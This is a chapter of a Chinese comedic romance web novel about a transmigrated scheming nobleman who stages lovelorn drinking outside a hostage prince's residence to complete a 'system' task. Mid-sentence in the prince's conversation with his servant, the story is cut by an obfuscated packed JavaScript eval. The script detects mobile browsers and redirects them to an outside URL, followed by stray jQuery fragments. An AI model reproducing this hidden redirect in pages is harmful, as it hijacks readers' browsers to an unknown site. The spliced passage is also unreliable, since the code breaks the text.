11.隔云时乱影

作品:《当黑莲花误入限制文

    棠溪珣一点也不担心管疏鸿和棠溪妲见面的情况。


    一方面,他心里有数,被他这么一搅和,管疏鸿会对棠溪妲有兴趣的可能性已经微乎其微了,另一方面,万一两人有什么动向,系统也自然会发任务警报。


    所以,没有新任务的时候,棠溪珣终于可以暂时腾出些时间处理自己这边的事情,几日不见管疏鸿,倒觉神清气爽。


    毕竟,书中人人都是围着主角转悠的傀儡,书外,却有属于自己的人生。


    直到太子逼宫这场风波已经渐渐快要平息了,系统突然才突然冒了出来,但这次却不是发布任务,而是告诉棠溪珣:


    【上个任务的新剧情没有替换完全,判定为任务未完成。】


    棠溪珣道:“为什么?”


    ——难道管疏鸿后悔了,还想去见棠溪妲?


    系统却回答,这事还真跟管疏鸿没关系,而是【剧情地点发生错误】。


    【原剧情“温泉戏鱼水翻银浪,锦衣落香肌偎人怜”的发生场所为:“主角府邸中”,新剧情“肌如玉琼艳惊众人,双落水缠绵诉情衷”发生场所为:“皇宫中”,所以被认定为场所条件未满足。】


    棠溪珣沉默了片刻。


    系统正想说什么,就见他点了点头,道:“我知道了,也就是说,我再设法去一趟管疏鸿的府上,重新撕一次他的衣服就行了对吧?那再兑换一只‘红眼撕衣狂魔’。”


    系统:【……】


    它也是真的佩服这位。


    要换了其他人,听说自己好不容易费尽心思完成的任务有重做的风险,只怕早就急了,但棠溪珣的情绪简直稳定的可怕。


    不急不慌,甚至一眨眼就是一个新主意。


    不愧是当年兵法策论第一的状元。


    他就没考虑过管疏鸿被再扯一次衣服的感受吗?


    “红眼撕衣狂魔”本来是情/趣道具,他倒玩没够了!


    原来一个人太过冷静了也可以显得很疯狂。


    系统决定,救救主角。


    【不需要,只要宿主在主角的府上停留够一个时辰,把本段剧情的字数凑够即可。】


    谁让这主角天赋异禀,硬件出众,同时又花样百出,愈战愈勇。


    别人的“温泉戏”或许会写出一两千被和谐的内容,到他这里就得折腾上七八千。


    棠溪珣那段落水撕衣的剧情全部上传之后,书页上还是有些空白没有填全,只能再补一些了。


    棠溪珣无语道:“我也有日子没见他了……好罢,他龙马精神,倒是连累我干活。”


    这些天,管疏鸿虽然没见棠溪妲,可是也没再提过让棠溪家其他任何一一个人为自己看伤,应该完全不打算再和他们扯上关系。


    就算棠溪珣亲自前往他府上拜访,大概跟棠溪妲一样,顶多也只能坐在外厅里喝口茶而已,总不能干喝上一个时辰。


    所以老老实实地递帖子请求上门拜访……嗯,此路不通。


    还是剑走偏锋罢!


    系统有点发毛地看着棠溪珣抬起头来,那胸有成竹、势在必得的样子,还是跟他一开始打算阉了管疏鸿时一模一样。


    他说:“没事,有办法了。”


    *


    棠溪公子已经好几日没有出现了。


    最初,质子府上上下下的昊国人都松了一口气。


    之前有一阵,棠溪公子每天都来门口转转,又很快就走,每当他们把这消息禀告给主子时,他总是会皱一皱眉头,脸色显得很不好看。


    鄂齐大哥说,这是因为主子很怕被棠溪公子纠缠,所以见他来就觉得心烦。


    现在棠溪公子看起来已经知难而退,主子的心情应该也会好起来,他们也舒坦——满府的人都这样想。


    果然,一开始,主子大概是有点喜出望外,一时不敢置信问题就这么解决了,看不见棠溪公子,还派了人到处去寻。


    他们仔仔细细地找了之后确实没有,便高兴地回来禀报:


    “恭喜殿下,棠溪公子真的没再来了。”


    主子也只是面色凝重,点一点头。


    是了,他们昊国人就是这样沉稳。


    但一连过了好几日之后,大家感到事情有些不对了。


    ——为什么没有了棠溪公子的纠缠,主子看上去还是不高兴啊???


    大家猜来猜去也猜不透,没办法,只能再悄悄去问鄂齐大哥。


    鄂齐大哥沉吟了一阵,说道:“或许殿下这是深谋远虑、居安思危吧。”


    好吧,也有道理,他们昊国人就是这样谨慎。


    但总而言之,他们懂了没用,管疏鸿还是成天脸色冷沉,好像怀着重重的心思一般。


    今日一大早,他便披上百衲衣,进了佛堂冥思。


    他佛道不忌,都通晓些,但也谈不上如何笃信,平日里参禅论道,只是为了寻个心安,这习惯早已忘了是什么时候养成的,反正还算有效。


    今日也不例外。


    一手转动着佛珠,一手“嗒嗒”地敲着木鱼,口中默诵经文,也不知道过了多久,管疏鸿逐渐觉得内心那种没来由的烦躁和隐隐的失落平息了下来。


    他悟了。


    想来也是好笑,棠溪珣实在是他生命中太不重要的一个存在,就好似那戏文里面端茶打水的龙套,平日萍水相逢,也只是擦肩而过。


    近来虽然意外交集多了些,但说到底,对方想什么做什么也是与他无干的。


    看来自己还是心绪不宁,多半是瞧着棠溪珣实在生得好看,所以被那色相给迷了眼。


    但这当中是没有多少欲望的成分的,只因好看的东西人人都爱看而已。


    管疏鸿平时就算看见个茶碗做得不错,也会拿起来瞧一瞧,总不能说茶碗对他来说也有多么重要吧?


    他不喜欢男人,也不好情/欲,棠溪珣来与不来能怎样呢?


    自觉完全通透了,心境澄明如水,管疏鸿双手合十闭目拜了拜,从地上起身。


    他神清气爽地推开了佛堂的大门,一步迈出门槛,仿佛迈出了某个心关。


    由于心情实在很好,于是,看着那蠢笨的鄂齐匆匆朝着自己跑过来,管疏鸿也难得和善,缓声道:“不用急,有什么事慢慢说便是。”


    “不好了!”


    鄂齐这俗人却是一点也不通透,一惊一乍地喊道:“殿下!棠溪、棠溪公子他……又、又来了!”


    管疏鸿一怔道:“你说什么?”


    鄂齐:“就在门外……”


    管疏鸿立即道:“我去看看。”


    鄂齐:“……”


    管疏鸿已向外大步走去,走了几步,又停下了,脱下身上的百衲衣,扔进鄂齐怀里,说道:“没点眼力见,去给我拿身常服来。”


    鄂齐被衣服甩了一脸,终于发问:“……殿下,您这么急,是要去教训他吗?”


    管疏鸿道:“谁说我急了?”


    顿了顿,又说:“正是要让他知道厉害。”


    想来就来,想走就走的,把他的质子府当菜市场,这实在太过分了,总得说道说道。


    不过,这么多天没来,也或许真是有事,或者身体还不舒服——那没准是因为了救自己跳水弄的,他也有这个责任去问一问。


    鄂齐却没去拿衣服,而是宽慰道:“殿下,您放心,属下明白您的心思,但刚才话没说完——棠溪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561651|170537||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    公子不是来找您的,他是去了对面那间酒坊里头喝酒呢。”


    管疏鸿:“……”


    鄂齐:“根本没往咱门口看一眼。”


    管疏鸿:“……”


    鄂齐:“属下觉得他对您其实一点也不……”


    “糊涂东西,什么也不懂,他这叫做欲擒故纵、声东击西,越是装作不想进来的样子,越是盘算着想来!”


    管疏鸿蹙紧眉,踹了鄂齐一脚,凛声道:“废话什么?还不快去给我拿衣服来!”


    鄂齐不敢再多说什么,连忙匆匆向着管疏鸿房中而去,同时忍不住嘀咕道:


    “既然殿下知道,那他为什么还要出去呢?这不就中计了吗?”


    他挠了挠头,恍然大悟:“难道是……将计就计?”


    果然好心机!


    *


    管疏鸿府邸附近的这家酒坊,在京城颇为有名,不光酒菜做得好,而且店主显然是个很懂得风雅的人。


    随着天气渐暖,他又在酒坊外面的花树下摆了数张木桌,让客人可以露天而坐,一边欣赏春光,一边畅饮美酒,更受欢迎。


    棠溪珣此刻就坐在一树繁花之侧,自斟自饮。


    不过他倒不是为了观赏春光,而是方便质子府的人发现自己。


    书上说,管疏鸿生性多疑,心机狡诈,后来登基做皇帝了,也是经常监视臣子的动向。


    这样一个人,自己前一阵在他家门口转悠,他不会不知道,而且,多半还要派人盯着。


    如今棠溪珣数日不至,突然又出现了,一副落寞伤情的模样在这里喝着闷酒,相信质子府的人看见了,也一定会说给管疏鸿听的。


    那么,如果管疏鸿因此对他的举动心生怀疑或者兴趣,主动邀请他进门,自然是正合棠溪珣的心意。


    如果他不请,那也没有关系,等棠溪珣喝的半醉,就去敲门,大庭广众之下,他总不会被拒之门外。


    这样一来,只要进了质子府的门,说一说“醉话”,讨杯醒酒汤喝,假作衣裳被酒水污了,或者不小心用菜汤把管疏鸿烫了……反正不管干什么,还愁混不到一个时辰吗?


    简单。


    棠溪珣胸有成竹,所以一点都不急,他往酒里面兑了茶,一杯一杯,喝的不紧不慢。


    只需要时不时再停下来,看着质子府的大门,眨眨眼睛,或者轻叹一口气,深情之感便出来了。


    他这一套做得信手拈来,不费吹灰之力,侯府那边的人还没怎样,近处的来往行人们先纷纷被迷了眼睛。


    谁见过这样的场面!


    如此一个小小的酒坊门口,竟会坐着名仿佛从画上飘下来般的绝色公子。


    风动襟袖,醺然含愁,身侧落花点点,坠在他的衣间发上,他也毫不理会,只让人恨不得上前帮他轻轻拂去。


    不知道有多少人看得神魂颠倒,晕头转向,有的人甚至连路都走不动了,也不由坐下来,要上一杯水酒喝。


    棠溪珣刚坐下时,这酒坊的掌柜只觉得他美,因此招待的颇为殷勤,却万万不料还有这种效果。


    眼看着生意火爆起来,可比他绞尽脑汁想什么揽客的花样都好使,他喜得只恨不得给棠溪珣磕个头,又亲自悄悄送了两碟糕点并着下酒小菜到棠溪珣桌上。


    放下碟子时,这掌柜的眼睛也忍不住棠溪珣脸上瞟了瞟,真是不能多看,这一看,他连碟子都差点忘了搁下!


    “咳咳。”


    身后有个人压着嗓子道:“掌柜的,上菜。”


    掌柜这才回过神来,转身看去,只见是位身穿玄衣,头戴笠帽的客人在较远处落座,看不清楚面貌,但自有股尊贵气度,他连忙过去招待了。